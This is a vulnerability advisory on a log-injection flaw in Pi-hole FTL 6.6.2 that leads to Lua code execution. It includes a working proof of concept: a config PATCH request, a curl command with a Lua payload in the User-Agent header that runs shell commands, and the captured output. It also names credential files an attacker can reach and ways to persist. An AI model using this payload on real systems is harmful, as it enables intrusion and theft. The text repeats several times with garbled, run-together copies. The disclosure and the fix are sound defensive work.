Summary
Pi-hole FTL's embedded webserver writes the User-Agent request header byte-for-byte into the access log file configured by files.log.webserver, and the access-log writer applies no neutralization of characters that the downstream log consumer may interpret as structured input. Under a specific operator-configurable layout — where the log path resolves to a file inside webserver.paths.webroot with an extension matching the CivetWeb lua_server_page_pattern (default **.lp$) — the next GET of the log file causes the embedded Lua engine to evaluate the injected log line as Lua source, executing arbitrary code inside the pihole-FTL process as the pihole operating-system user.
The User-Agent injection itself is unauthenticated and reachable on any endpoint the webserver serves; the chain to RCE requires an administrator to first set the log destination + webroot via PATCH /api/config (one request), so the practical attack model is "admin can grant themselves persistent shell on the appliance" or "an attacker who has already captured an admin session can pivot to OS-level code execution."
Details
Log Injection is present on the embedded webserver access-log writer in Pi-hole FTL version 6.6.2. The CivetWeb access-log callback log_http_access in src/webserver/webserver.c:259-268 appends the request's User-Agent header value verbatim to the configured log file when the debug.api setting is enabled, and the access-log writer performs no neutralization of bytes that downstream consumers of the log file may interpret as structured input.
When the access log is read by the embedded CivetWeb Lua-server-page handler — reachable when the files.log.webserver path resolves to a file inside webserver.paths.webroot with an extension matching the configured lua_server_page_pattern (defaulting to **.lp$) — the injected bytes are evaluated as Lua source. An attacker who sends an HTTP request with a <?lua ... ?> tag in the User-Agent header causes the next GET of the log file to execute the embedded code inside the pihole-FTL process running as the pihole user.
The privilege gap that makes the class dangerous is the asymmetry between the planting context (any HTTP request, no authentication required, header value copied verbatim) and the triggering context (a GET of the log file inside the webroot — also no authentication required if webserver.serve_all=true). The admin-required preconditions are entirely at the configuration layer (setting the log path inside the webroot, enabling debug.api); once the configuration is in place, exploitation does not require any further authenticated action.
PoC
-
Authenticate as a Pi-hole administrator and capture the session ID.
-
Issue a single PATCH request to /api/config that sets the access log destination to a .lp file inside a webserver document root and enables access logging:
PATCH /api/config HTTP/1.1
Host: <HOST>
Content-Type: application/json
X-FTL-SID: <admin-sid>
{"config":{"webserver":{"serve_all":true,"paths":{"webroot":"/var/log/pihole","webhome":"/admin/","prefix":""}},"debug":{"api":true},"files":{"log":{"webserver":"/var/log/pihole/pwn.lp"}}}}
- Issue any HTTP request containing a Lua server-page tag in the
User-Agent header. The access-log writer copies the header value byte-for-byte into the configured log file, embedding the attacker-controlled Lua source between two access-log timestamps:
curl https://<HOST>/api/info/login \
-A 'Mozilla <?lua mg.write("\nRCE-OUT:\n"); local f=io.popen("id; hostname; uname -a"); if f then mg.write(f:read("*a")); f:close() end; mg.write("END\n") ?> end'
- Trigger evaluation by requesting the log file as a Lua server page. CivetWeb resolves the path against the configured document root, the file extension matches
lua_server_page_pattern=**.lp$, and the embedded Lua engine evaluates the file contents including the injected log line:
Summary
Pi-hole FTL's embedded webserver writes the User-Agent request header byte-for-byte into the access log file configured by files.log.webserver, and the access-log writer applies no neutralization of characters that the downstream log consumer may interpret as structured input. Under a specific operator-configurable layout — where the log path resolves to a file inside webserver.paths.webroot with an extension matching the CivetWeb lua_server_page_pattern (default **.lp$) — the next GET of the log file causes the embedded Lua engine to evaluate the injected log line as Lua source, executing arbitrary code inside the pihole-FTL process as the pihole operating-system user.
The User-Agent injection itself is unauthenticated and reachable on any endpoint the webserver serves; the chain to RCE requires an administrator to first set the log destination + webroot via PATCH /api/config (one request), so the practical attack model is "admin can grant themselves persistent shell on the appliance" or "an attacker who has already captured an admin session can pivot to OS-level code execution."
Details
Log Injection is present on the embedded webserver access-log writer in Pi-hole FTL version 6.6.2. The CivetWeb access-log callback log_http_access in src/webserver/webserver.c:259-268 appends the request's User-Agent header value verbatim to the configured log file when the debug.api setting is enabled, and the access-log writer performs no neutralization of bytes that downstream consumers of the log file may interpret as structured input.
When the access log is read by the embedded CivetWeb Lua-server-page handler — reachable when the files.log.webserver path resolves to a file inside webserver.paths.webroot with an extension matching the configured lua_server_page_pattern (defaulting to **.lp$) — the injected bytes are evaluated as Lua source. An attacker who sends an HTTP request with a <?lua ... ?> tag in the User-Agent header causes the next GET of the log file to execute the embedded code inside the pihole-FTL process running as the pihole user.
The privilege gap that makes the class dangerous is the asymmetry between the planting context (any HTTP request, no authentication required, header value copied verbatim) and the triggering context (a GET of the log file inside the webroot — also no authentication required if webserver.serve_all=true). The admin-required preconditions are entirely at the configuration layer (setting the log path inside the webroot, enabling debug.api); once the configuration is in place, exploitation does not require any further authenticated action.
PoC
-
Authenticate as a Pi-hole administrator and capture the session ID.
-
Issue a single PATCH request to /api/config that sets the access log destination to a .lp file inside a webserver document root and enables access logging:
PATCH /api/config HTTP/1.1
Host: <HOST>
Content-Type: application/json
X-FTL-SID: <admin-sid>
{"config":{"webserver":{"serve_all":true,"paths":{"webroot":"/var/log/pihole","webhome":"/admin/","prefix":""}},"debug":{"api":true},"files":{"log":{"webserver":"/var/log/pihole/pwn.lp"}}}}
- Issue any HTTP request containing a Lua server-page tag in the
User-Agent header. The access-log writer copies the header value byte-for-byte into the configured log file, embedding the attacker-controlled Lua source between two access-log timestamps:
curl https://<HOST>/api/info/login \
-A 'Mozilla <?lua mg.write("\nRCE-OUT:\n"); local f=io.popen("id; hostname; uname -a"); if f then mg.write(f:read("*a")); f:close() end; mg.write("END\n") ?> end'
- Trigger evaluation by requesting the log file as a Lua server page. CivetWeb resolves the path against the configured document root, the file extension matches
lua_server_page_pattern=**.lp$, and the embedded Lua engine evaluates the file contents including the injected log line:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
[2026-05-16 16:48:12.904 UTC 53] ACCESS: 172.17.0.1 - - [16/May/2026:16:48:12 +0000] "PATCH /api/config HTTP/1.1" 200 4526 - curl/8.18.0
[2026-05-16 16:48:13.801 UTC 53] Initializing HTTP server on ports "80o,443os,[::]:80o,[::]:443os"
[2026-05-16 16:48:16.088 UTC 53] ACCESS: 172.17.0.1 - - [16/May/2026:16:48:16 +0000] "GET /api/info/login HTTP/1.1" 200 746 - Mozilla
RCE-OUT:
uid=1000(pihole) gid=1000(pihole) groups=1000(pihole)
e4d202a208d4
Linux e4d202a208d4 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 x86_64 GNU/Linux
END
end
- The presence of the captured
uid, hostname, and uname output in the response body confirms that the unneutralized log writer placed the User-Agent value into the log file, that the Lua server-page handler then evaluated the log line as Lua source, and that the embedded io.popen call ran inside the pihole-FTL process. The end-to-end chain is also packaged as loginj.py in the per-CVE folder (Python script that authenticates, mutates the config, plants the payload, triggers the GET, extracts output between unique markers, and restores the original config on exit — --keep-config skips the restore for follow-up exploitation).
Impact
Arbitrary command execution inside the pihole-FTL process running as the pihole operating-system user, with the capabilities granted to that binary (cap_chown, cap_net_bind_service, cap_net_raw) and read/write access to every file owned by the pihole user including:
/etc/pihole/pihole.toml — instance configuration
/etc/pihole/cli_pw — the administrative CLI password file
/etc/pihole/gravity.db, /etc/pihole/pihole-FTL.db — the blocklist and query database
/var/log/pihole/* — log files (additional persistence surface)
The attacker can persist by rewriting the administrative interface templates that the embedded webserver renders on every administrator visit. Even when the log file is not reachable through the Lua-server-page handler (i.e. the admin doesn't enable the debug.api-plus-webroot-log-path layout), the unneutralized log writer still allows log forgery, audit-trail poisoning, and downstream log-parser injection in any other consumer of the access log.
Recommended fix: neutralize bytes in the User-Agent and other free-text fields before writing them to the access log, by percent-encoding any character outside a small printable ASCII subset or by escaping quotes, backslashes, carriage returns, line feeds, and the <? opening sequence. As defense-in-depth, restrict the files.log.* validators to reject any path whose extension matches lua_server_page_pattern or lua_script_pattern, and to reject any path inside webserver.paths.webroot.
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
[2026-05-16 16:48:12.904 UTC 53] ACCESS: 172.17.0.1 - - [16/May/2026:16:48:12 +0000] "PATCH /api/config HTTP/1.1" 200 4526 - curl/8.18.0
[2026-05-16 16:48:13.801 UTC 53] Initializing HTTP server on ports "80o,443os,[::]:80o,[::]:443os"
[2026-05-16 16:48:16.088 UTC 53] ACCESS: 172.17.0.1 - - [16/May/2026:16:48:16 +0000] "GET /api/info/login HTTP/1.1" 200 746 - Mozilla
RCE-OUT:
uid=1000(pihole) gid=1000(pihole) groups=1000(pihole)
e4d202a208d4
Linux e4d202a208d4 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 x86_64 GNU/Linux
END
end
- The presence of the captured
uid, hostname, and uname output in the response body confirms that the unneutralized log writer placed the User-Agent value into the log file, that the Lua server-page handler then evaluated the log line as Lua source, and that the embedded io.popen call ran inside the pihole-FTL process. The end-to-end chain is also packaged as loginj.py in the per-CVE folder (Python script that authenticates, mutates the config, plants the payload, triggers the GET, extracts output between unique markers, and restores the original config on exit — --keep-config skips the restore for follow-up exploitation).
Impact
Arbitrary command execution inside the pihole-FTL process running as the pihole operating-system user, with the capabilities granted to that binary (cap_chown, cap_net_bind_service, cap_net_raw) and read/write access to every file owned by the pihole user including:
/etc/pihole/pihole.toml — instance configuration
/etc/pihole/cli_pw — the administrative CLI password file
/etc/pihole/gravity.db, /etc/pihole/pihole-FTL.db — the blocklist and query database
/var/log/pihole/* — log files (additional persistence surface)
The attacker can persist by rewriting the administrative interface templates that the embedded webserver renders on every administrator visit. Even when the log file is not reachable through the Lua-server-page handler (i.e. the admin doesn't enable the debug.api-plus-webroot-log-path layout), the unneutralized log writer still allows log forgery, audit-trail poisoning, and downstream log-parser injection in any other consumer of the access log.
Recommended fix: neutralize bytes in the User-Agent and other free-text fields before writing them to the access log, by percent-encoding any character outside a small printable ASCII subset or by escaping quotes, backslashes, carriage returns, line feeds, and the <? opening sequence. As defense-in-depth, restrict the files.log.* validators to reject any path whose extension matches lua_server_page_pattern or lua_script_pattern, and to reject any path inside webserver.paths.webroot.
Summary
Pi-hole FTL's embedded webserver writes the
User-Agentrequest header byte-for-byte into the access log file configured byfiles.log.webserver, and the access-log writer applies no neutralization of characters that the downstream log consumer may interpret as structured input. Under a specific operator-configurable layout — where the log path resolves to a file insidewebserver.paths.webrootwith an extension matching the CivetWeblua_server_page_pattern(default**.lp$) — the next GET of the log file causes the embedded Lua engine to evaluate the injected log line as Lua source, executing arbitrary code inside thepihole-FTLprocess as thepiholeoperating-system user.The User-Agent injection itself is unauthenticated and reachable on any endpoint the webserver serves; the chain to RCE requires an administrator to first set the log destination + webroot via
PATCH /api/config(one request), so the practical attack model is "admin can grant themselves persistent shell on the appliance" or "an attacker who has already captured an admin session can pivot to OS-level code execution."Details
Log Injection is present on the embedded webserver access-log writer in Pi-hole FTL version 6.6.2. The CivetWeb access-log callback
log_http_accessinsrc/webserver/webserver.c:259-268appends the request'sUser-Agentheader value verbatim to the configured log file when thedebug.apisetting is enabled, and the access-log writer performs no neutralization of bytes that downstream consumers of the log file may interpret as structured input.When the access log is read by the embedded CivetWeb Lua-server-page handler — reachable when the
files.log.webserverpath resolves to a file insidewebserver.paths.webrootwith an extension matching the configuredlua_server_page_pattern(defaulting to**.lp$) — the injected bytes are evaluated as Lua source. An attacker who sends an HTTP request with a<?lua ... ?>tag in theUser-Agentheader causes the next GET of the log file to execute the embedded code inside thepihole-FTLprocess running as thepiholeuser.The privilege gap that makes the class dangerous is the asymmetry between the planting context (any HTTP request, no authentication required, header value copied verbatim) and the triggering context (a GET of the log file inside the webroot — also no authentication required if
webserver.serve_all=true). The admin-required preconditions are entirely at the configuration layer (setting the log path inside the webroot, enablingdebug.api); once the configuration is in place, exploitation does not require any further authenticated action.PoC
Authenticate as a Pi-hole administrator and capture the session ID.
Issue a single PATCH request to
/api/configthat sets the access log destination to a.lpfile inside a webserver document root and enables access logging:User-Agentheader. The access-log writer copies the header value byte-for-byte into the configured log file, embedding the attacker-controlled Lua source between two access-log timestamps:lua_server_page_pattern=**.lp$, and the embedded Lua engine evaluates the file contents including the injected log line:Summary
Pi-hole FTL's embedded webserver writes the
User-Agentrequest header byte-for-byte into the access log file configured byfiles.log.webserver, and the access-log writer applies no neutralization of characters that the downstream log consumer may interpret as structured input. Under a specific operator-configurable layout — where the log path resolves to a file insidewebserver.paths.webrootwith an extension matching the CivetWeblua_server_page_pattern(default**.lp$) — the next GET of the log file causes the embedded Lua engine to evaluate the injected log line as Lua source, executing arbitrary code inside thepihole-FTLprocess as thepiholeoperating-system user.The User-Agent injection itself is unauthenticated and reachable on any endpoint the webserver serves; the chain to RCE requires an administrator to first set the log destination + webroot via
PATCH /api/config(one request), so the practical attack model is "admin can grant themselves persistent shell on the appliance" or "an attacker who has already captured an admin session can pivot to OS-level code execution."Details
Log Injection is present on the embedded webserver access-log writer in Pi-hole FTL version 6.6.2. The CivetWeb access-log callback
log_http_accessinsrc/webserver/webserver.c:259-268appends the request'sUser-Agentheader value verbatim to the configured log file when thedebug.apisetting is enabled, and the access-log writer performs no neutralization of bytes that downstream consumers of the log file may interpret as structured input.When the access log is read by the embedded CivetWeb Lua-server-page handler — reachable when the
files.log.webserverpath resolves to a file insidewebserver.paths.webrootwith an extension matching the configuredlua_server_page_pattern(defaulting to**.lp$) — the injected bytes are evaluated as Lua source. An attacker who sends an HTTP request with a<?lua ... ?>tag in theUser-Agentheader causes the next GET of the log file to execute the embedded code inside thepihole-FTLprocess running as thepiholeuser.The privilege gap that makes the class dangerous is the asymmetry between the planting context (any HTTP request, no authentication required, header value copied verbatim) and the triggering context (a GET of the log file inside the webroot — also no authentication required if
webserver.serve_all=true). The admin-required preconditions are entirely at the configuration layer (setting the log path inside the webroot, enablingdebug.api); once the configuration is in place, exploitation does not require any further authenticated action.PoC
Authenticate as a Pi-hole administrator and capture the session ID.
Issue a single PATCH request to
/api/configthat sets the access log destination to a.lpfile inside a webserver document root and enables access logging:User-Agentheader. The access-log writer copies the header value byte-for-byte into the configured log file, embedding the attacker-controlled Lua source between two access-log timestamps:lua_server_page_pattern=**.lp$, and the embedded Lua engine evaluates the file contents including the injected log line:uid, hostname, andunameoutput in the response body confirms that the unneutralized log writer placed theUser-Agentvalue into the log file, that the Lua server-page handler then evaluated the log line as Lua source, and that the embeddedio.popencall ran inside thepihole-FTLprocess. The end-to-end chain is also packaged asloginj.pyin the per-CVE folder (Python script that authenticates, mutates the config, plants the payload, triggers the GET, extracts output between unique markers, and restores the original config on exit —--keep-configskips the restore for follow-up exploitation).Impact
Arbitrary command execution inside the
pihole-FTLprocess running as thepiholeoperating-system user, with the capabilities granted to that binary (cap_chown,cap_net_bind_service,cap_net_raw) and read/write access to every file owned by thepiholeuser including:/etc/pihole/pihole.toml— instance configuration/etc/pihole/cli_pw— the administrative CLI password file/etc/pihole/gravity.db,/etc/pihole/pihole-FTL.db— the blocklist and query database/var/log/pihole/*— log files (additional persistence surface)The attacker can persist by rewriting the administrative interface templates that the embedded webserver renders on every administrator visit. Even when the log file is not reachable through the Lua-server-page handler (i.e. the admin doesn't enable the
debug.api-plus-webroot-log-path layout), the unneutralized log writer still allows log forgery, audit-trail poisoning, and downstream log-parser injection in any other consumer of the access log.Recommended fix: neutralize bytes in the
User-Agentand other free-text fields before writing them to the access log, by percent-encoding any character outside a small printable ASCII subset or by escaping quotes, backslashes, carriage returns, line feeds, and the<?opening sequence. As defense-in-depth, restrict thefiles.log.*validators to reject any path whose extension matcheslua_server_page_patternorlua_script_pattern, and to reject any path insidewebserver.paths.webroot.uid, hostname, andunameoutput in the response body confirms that the unneutralized log writer placed theUser-Agentvalue into the log file, that the Lua server-page handler then evaluated the log line as Lua source, and that the embeddedio.popencall ran inside thepihole-FTLprocess. The end-to-end chain is also packaged asloginj.pyin the per-CVE folder (Python script that authenticates, mutates the config, plants the payload, triggers the GET, extracts output between unique markers, and restores the original config on exit —--keep-configskips the restore for follow-up exploitation).Impact
Arbitrary command execution inside the
pihole-FTLprocess running as thepiholeoperating-system user, with the capabilities granted to that binary (cap_chown,cap_net_bind_service,cap_net_raw) and read/write access to every file owned by thepiholeuser including:/etc/pihole/pihole.toml— instance configuration/etc/pihole/cli_pw— the administrative CLI password file/etc/pihole/gravity.db,/etc/pihole/pihole-FTL.db— the blocklist and query database/var/log/pihole/*— log files (additional persistence surface)The attacker can persist by rewriting the administrative interface templates that the embedded webserver renders on every administrator visit. Even when the log file is not reachable through the Lua-server-page handler (i.e. the admin doesn't enable the
debug.api-plus-webroot-log-path layout), the unneutralized log writer still allows log forgery, audit-trail poisoning, and downstream log-parser injection in any other consumer of the access log.Recommended fix: neutralize bytes in the
User-Agentand other free-text fields before writing them to the access log, by percent-encoding any character outside a small printable ASCII subset or by escaping quotes, backslashes, carriage returns, line feeds, and the<?opening sequence. As defense-in-depth, restrict thefiles.log.*validators to reject any path whose extension matcheslua_server_page_patternorlua_script_pattern, and to reject any path insidewebserver.paths.webroot.